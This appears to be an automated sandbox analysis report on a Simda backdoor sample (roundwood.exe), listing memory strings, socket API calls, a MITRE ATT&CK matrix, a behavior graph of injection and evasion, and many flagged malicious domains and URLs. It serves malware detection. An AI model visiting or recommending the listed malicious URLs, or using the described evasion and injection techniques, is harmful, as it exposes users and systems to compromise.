Source: roundwood.exe, 00000000.00000003.2027860859.00000000006BA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: roundwood.exe, 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmpString found in binary or memory: RFB 003.006
Source: roundwood.exe, 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmpString found in binary or memory: $BRFB 003.006
Source: svchost.exeString found in binary or memory: RFB 003.006
Source: svchost.exeString found in binary or memory: RFB 003.006
Source: svchost.exe, 00000002.00000003.2418070085.0000000003A40000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: svchost.exe, 00000002.00000003.2418070085.0000000003A40000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: svchost.exe, 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmpString found in binary or memory: RFB 003.006
Source: svchost.exe, 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmpString found in binary or memory: $BRFB 003.006
Source: svchost.exe, 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: svchost.exe, 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: svchost.exe, 00000002.00000002.3272240736.0000000002915000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: svchost.exe, 00000002.00000002.3272240736.0000000002915000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: svchost.exe, 00000002.00000003.2039128635.000000000088E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: svchost.exe, 00000002.00000003.2039128635.000000000088E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: svchost.exe, 00000002.00000002.3273788686.0000000002D63000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: svchost.exe, 00000002.00000002.3273788686.0000000002D63000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: svchost.exe, 00000002.00000002.3272240736.00000000028C0000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: svchost.exe, 00000002.00000002.3272240736.00000000028C0000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exeString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exeString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000004.00000002.2719357526.00000000012E0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000004.00000002.2719357526.00000000012E0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000004.00000002.2719273525.0000000001240000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000004.00000002.2719273525.0000000001240000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exeString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exeString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000005.00000002.2689381612.0000000000DD0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000005.00000002.2689381612.0000000000DD0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000005.00000002.2689429346.0000000000E30000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000005.00000002.2689429346.0000000000E30000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exeString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exeString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000008.00000002.2748593286.0000000000E70000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000008.00000002.2748593286.0000000000E70000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000008.00000002.2747738831.0000000000C50000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000008.00000002.2747738831.0000000000C50000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000000C.00000002.2700298723.0000000001410000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000000C.00000002.2700298723.0000000001410000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000000C.00000002.2700342737.00000000014B0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000000C.00000002.2700342737.00000000014B0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000000F.00000002.2451003879.0000000000900000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000000F.00000002.2451003879.0000000000900000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000000F.00000002.2451052390.0000000000960000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000000F.00000002.2451052390.0000000000960000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000013.00000002.2455624289.0000000001450000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000013.00000002.2455624289.0000000001450000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000013.00000002.2455739148.00000000014B0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000013.00000002.2455739148.00000000014B0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000015.00000002.2460078038.0000000002B30000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000015.00000002.2460078038.0000000002B30000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000015.00000002.2460508314.0000000002CD0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000015.00000002.2460508314.0000000002CD0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000017.00000002.2469299462.0000000002920000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000017.00000002.2469299462.0000000002920000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000017.00000002.2469451874.0000000002AC0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000017.00000002.2469451874.0000000002AC0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000019.00000002.2472684695.00000000008E0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000019.00000002.2472684695.00000000008E0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000019.00000002.2473316243.0000000002650000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000019.00000002.2473316243.0000000002650000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000001B.00000002.2475050431.00000000029F0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000001B.00000002.2475050431.00000000029F0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000001B.00000002.2477343804.0000000002DA0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000001B.00000002.2477343804.0000000002DA0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000001D.00000002.2479482654.0000000002D00000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000001D.00000002.2479482654.0000000002D00000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000001D.00000002.2478719931.0000000002920000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000001D.00000002.2478719931.0000000002920000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000001F.00000002.2486303903.0000000002410000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000001F.00000002.2486303903.0000000002410000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000001F.00000002.2486764914.00000000025D0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000001F.00000002.2486764914.00000000025D0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000022.00000002.2487689003.0000000002950000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000022.00000002.2487689003.0000000002950000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000022.00000002.2487542677.00000000027F0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000022.00000002.2487542677.00000000027F0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000024.00000002.2570365409.0000000002C90000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000024.00000002.2570365409.0000000002C90000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000024.00000002.2535425288.00000000028C0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000024.00000002.2535425288.00000000028C0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000026.00000002.2502070915.0000000002760000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000026.00000002.2502070915.0000000002760000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000026.00000002.2502168671.0000000002900000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000026.00000002.2502168671.0000000002900000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D198E0 WSAStartup,ExitThread,socket,ExitThread,htons,htons,htons,bind,ExitThread,listen,ExitThread,gethostname,gethostbyname,inet_ntoa,accept,accept,getpeername,inet_ntoa,htons,CreateThread,CloseHandle,accept,ExitThread,closesocket,ExitThread,2_2_02D198E0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D2FFE0 setsockopt,htons,socket,setsockopt,bind,2_2_02D2FFE0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D30DB0 htons,socket,setsockopt,closesocket,bind,listen,2_2_02D30DB0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 4_2_012F98E0 WSAStartup,ExitThread,socket,ExitThread,htons,htons,htons,bind,ExitThread,listen,ExitThread,gethostname,gethostbyname,inet_ntoa,accept,accept,getpeername,inet_ntoa,htons,CreateThread,CloseHandle,accept,ExitThread,closesocket,ExitThread,4_2_012F98E0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 4_2_01310DB0 htons,socket,setsockopt,closesocket,bind,listen,4_2_01310DB0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 4_2_0130FFE0 setsockopt,htons,socket,setsockopt,bind,4_2_0130FFE0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 5_2_00E498E0 WSAStartup,ExitThread,socket,ExitThread,htons,htons,htons,bind,ExitThread,listen,ExitThread,gethostname,gethostbyname,inet_ntoa,accept,accept,getpeername,inet_ntoa,htons,CreateThread,CloseHandle,accept,ExitThread,closesocket,ExitThread,5_2_00E498E0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 5_2_00E60DB0 htons,socket,setsockopt,closesocket,bind,listen,5_2_00E60DB0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 5_2_00E5FFE0 setsockopt,htons,socket,setsockopt,bind,5_2_00E5FFE0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00E898E0 WSAStartup,ExitThread,socket,ExitThread,htons,htons,htons,bind,ExitThread,listen,ExitThread,gethostname,gethostbyname,inet_ntoa,accept,accept,getpeername,inet_ntoa,htons,CreateThread,CloseHandle,accept,ExitThread,closesocket,ExitThread,8_2_00E898E0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00EA0DB0 htons,socket,setsockopt,closesocket,bind,listen,8_2_00EA0DB0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00E9FFE0 setsockopt,htons,socket,setsockopt,bind,8_2_00E9FFE0

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid Accounts34
Native API		1
DLL Side-Loading		1
Abuse Elevation Control Mechanism		1
Disable or Modify Tools		111
Input Capture		2
System Time Discovery		1
Remote Desktop Protocol		1
Archive Collected Data		4
Ingress Tool Transfer		Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault Accounts2
Command and Scripting Interpreter		1
Create Account		1
DLL Side-Loading		1
Deobfuscate/Decode Files or Information		LSASS Memory11
Account Discovery		Remote Desktop Protocol1
Screen Capture		11
Encrypted Channel		Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain Accounts1
Scheduled Task/Job		1
Scheduled Task/Job		623
Process Injection		1
Abuse Elevation Control Mechanism		Security Account Manager1
System Network Connections Discovery		SMB/Windows Admin Shares111
Input Capture		11
Non-Standard Port		Automated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCron21
Registry Run Keys / Startup Folder		1
Scheduled Task/Job		2
Obfuscated Files or Information		NTDS2
File and Directory Discovery		Distributed Component Object Model2
Clipboard Data		1
Remote Access Software		Traffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchd1
Bootkit		21
Registry Run Keys / Startup Folder		31
Software Packing		LSA Secrets143
System Information Discovery		SSHKeylogging3
Non-Application Layer Protocol		Scheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
DLL Side-Loading		Cached Domain Credentials1
Query Registry		VNCGUI Input Capture14
Application Layer Protocol		Data Transfer Size LimitsService Stop
DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items321
Masquerading		DCSync561
Security Software Discovery		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job241
Virtualization/Sandbox Evasion		Proc Filesystem241
Virtualization/Sandbox Evasion		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt623
Process Injection		/etc/passwd and /etc/shadow13
Process Discovery		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron1
Bootkit		Network Sniffing11
Application Window Discovery		Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchdStripped PayloadsInput Capture1
System Owner/User Discovery		Software Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1498164 Sample: roundwood.exe Startdate: 23/08/2024 Architecture: WINDOWS Score: 100 51 vowyzuf.com 2->51 53 vowymom.com 2->53 55 1007 other IPs or domains 2->55 67 Suricata IDS alerts for network traffic 2->67 69 Malicious sample detected (through community Yara rule) 2->69 71 Antivirus detection for URL or domain 2->71 73 21 other signatures 2->73 9 roundwood.exe 2 3 2->9         started        13 svchost.exe 66 2->13         started        15 svchost.exe 2->15         started        signatures3 process4 dnsIp5 47 C:\Windows\apppatch\svchost.exe, PE32 9->47 dropped 49 C:\Windows\...\svchost.exe:Zone.Identifier, ASCII 9->49 dropped 83 Detected unpacking (changes PE section rights) 9->83 85 Detected unpacking (overwrites its own PE header) 9->85 87 Moves itself to temp directory 9->87 91 8 other signatures 9->91 18 svchost.exe 81 9->18         started        89 System process connects to network (likely due to code injection or exploit) 13->89 22 WerFault.exe 2 13->22         started        24 WerFault.exe 13->24         started        26 WerFault.exe 13->26         started        28 11 other processes 13->28 63 qetysuq.com 15->63 65 qexylup.com 15->65 file6 signatures7 process8 dnsIp9 57 lysyvan.com 18->57 59 volymaf.com 18->59 61 30 other IPs or domains 18->61 75 System process connects to network (likely due to code injection or exploit) 18->75 77 Detected unpacking (changes PE section rights) 18->77 79 Detected unpacking (overwrites its own PE header) 18->79 81 18 other signatures 18->81 30 oOzTQCDSVNrWDmuGqzFbKRbZs.exe 1 25 18->30 injected 33 oOzTQCDSVNrWDmuGqzFbKRbZs.exe 18->33 injected 35 oOzTQCDSVNrWDmuGqzFbKRbZs.exe 18->35 injected 37 12 other processes 18->37 signatures10 process11 signatures12 93 Monitors registry run keys for changes 30->93 95 Creates an autostart registry key pointing to binary in C:\Windows 30->95 97 Contains VNC / remote desktop functionality (version string found) 30->97 39 WerFault.exe 30->39         started        99 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 33->99 101 Found direct / indirect Syscall (likely to bypass EDR) 33->101 41 WerFault.exe 35->41         started        43 WerFault.exe 37->43         started        45 WerFault.exe 37->45         started        process13

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
roundwood.exe89%ReversingLabsWin32.Backdoor.Simda
roundwood.exe100%AviraTR/Crypt.XPACK.Gen
roundwood.exe100%Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

SourceDetectionScannerLabelLink
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue0%URL Reputationsafe
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue0%URL Reputationsafe
http://schemas.xmlsoap.org/soap/envelope/0%URL Reputationsafe
http://www.symantec.com0%Avira URL Cloudsafe
http://schemas.xmlsoap.org/ws/2005/02/scAAAAA0%Avira URL Cloudsafe
http://ww16.vofycot.com/login.php?sub1=20240824-0243-077d-8f61-d4c58a818681100%Avira URL Cloudmalware
http://www.google.comtw0%Avira URL Cloudsafe
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-0%Avira URL Cloudsafe
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdXdgj0%Avira URL Cloudsafe
http://ww25.lyxynyx.com/login.php?subid1=20240824-0244-06be-9bcf-3aaf77f61bcb100%Avira URL Cloudmalware
http://lyvyxor.com/login.php100%Avira URL Cloudmalware
https://login.microsoftonline.com/ppsecure/ResolveUser.srf0%Avira URL Cloudsafe
https://nojs.domaincntrol.com0%Avira URL Cloudsafe
http://Passport.NET/tbA0%Avira URL Cloudsafe
http://galyqaz.com/Printing_Machines.cfm?fp=SW2zOGluRjzYOmr3oBHHfKLjoB3z%2FhRVuwyTtS%2BUGtsfisSsLM8y100%Avira URL Cloudmalware
http://Passport.NET/STS&lt;/ds:KeyName&gt;&lt0%Avira URL Cloudsafe
http://puzylyp.com/login.phpA:100%Avira URL Cloudmalware
http://ww1.lysyfyj.com/100%Avira URL Cloudphishing
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdA0%Avira URL Cloudsafe
http://ww25.lyxynyx.com/login.php?subid1=20240824-0243-071d-8c4b-3f42cf5256c3co100%Avira URL Cloudmalware
http://lyrysor.com/login.php100%Avira URL Cloudphishing
http://puzylyp.com/login.php100%Avira URL Cloudmalware
http://schemas.xmlsoap.org/ws/2005/0%Avira URL Cloudsafe
https://www.google.com0%Avira URL Cloudsafe
https://domaincntrol.com/?orighost=0%Avira URL Cloudsafe
http://lyxynyx.com/login.php100%Avira URL Cloudmalware
http://i3.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff20%Avira URL Cloudsafe
http://ww16.vofycot.com/login.php?sub1=20240824-0244-0577-915a-f20bc3a7af60100%Avira URL Cloudmalware
http://i3.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.otf0%Avira URL Cloudsafe
http://schemas.xmlsoap.org/ws/2004/09/policy~0%Avira URL Cloudsafe
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsds0%Avira URL Cloudsafe
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAAAA0%Avira URL Cloudsafe
https://login.microsoftonline.com/ppsecure/devicechangecredential.srf0%Avira URL Cloudsafe
http://qegyval.com/login.php29100%Avira URL Cloudmalware
http://vojyqem.com/login.php100%Avira URL Cloudmalware
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAAAAA0%Avira URL Cloudsafe
http://schemas.xmlsoap.org/ws/2005/02/trustAAAAA0%Avira URL Cloudsafe
https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf0%Avira URL Cloudsafe
https://account.live.com/InlineSignup.aspx?iww=1&id=805020%Avira URL Cloudsafe
https://account.live.com/inlinesignup.aspx?iww=1&id=80600ssuer0%Avira URL Cloudsafe
http://Passport.NET/tb_0%Avira URL Cloudsafe
http://InquiryGrid.com/sk-domsale.php?dom=galyqaz.com&eds=YnJva2VyYWdlQHNrZW56by5jb20%3D&_isk_=7444&100%Avira URL Cloudmalware
http://i3.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.woff20%Avira URL Cloudsafe
http://galynuh.com/login.php100%Avira URL Cloudmalware
http://qetyhyg.com/login.php100%Avira URL Cloudphishing
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd~0%Avira URL Cloudsafe
http://i3.cdn-image.com/__media__/pics/29590/bg1.png)0%Avira URL Cloudsafe
https://login.microsoftonline.com/ppsecure/DeviceQuery.srfsuer0%Avira URL Cloudsafe
http://lyxynyx.com/login.php3100%Avira URL Cloudmalware
http://i3.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.eot0%Avira URL Cloudsafe
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.x0%Avira URL Cloudsafe
http://www.google.comt30%Avira URL Cloudsafe
http://i3.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.woff0%Avira URL Cloudsafe
https://account.live.com/msangcwam0%Avira URL Cloudsafe
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdZ6PU0%Avira URL Cloudsafe
http://lymyxid.com/login.php100%Avira URL Cloudmalware
http://crl.ver)0%Avira URL Cloudsafe
http://i3.cdn-image.com/__media__/pics/28905/arrrow.png)0%Avira URL Cloudsafe
http://galyqaz.com/display.cfm100%Avira URL Cloudmalware
http://passport.net/tb0%Avira URL Cloudsafe
https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf0%Avira URL Cloudsafe
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdsAAAA0%Avira URL Cloudsafe
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdUHV4ZU0%Avira URL Cloudsafe
http://gadyniw.com/login.php100%Avira URL Cloudmalware
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsds0%Avira URL Cloudsafe
http://i3.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.ttf0%Avira URL Cloudsafe
http://qegyval.com/login.php100%Avira URL Cloudmalware
http://gahyhiz.com/login.php0%Avira URL Cloudsafe
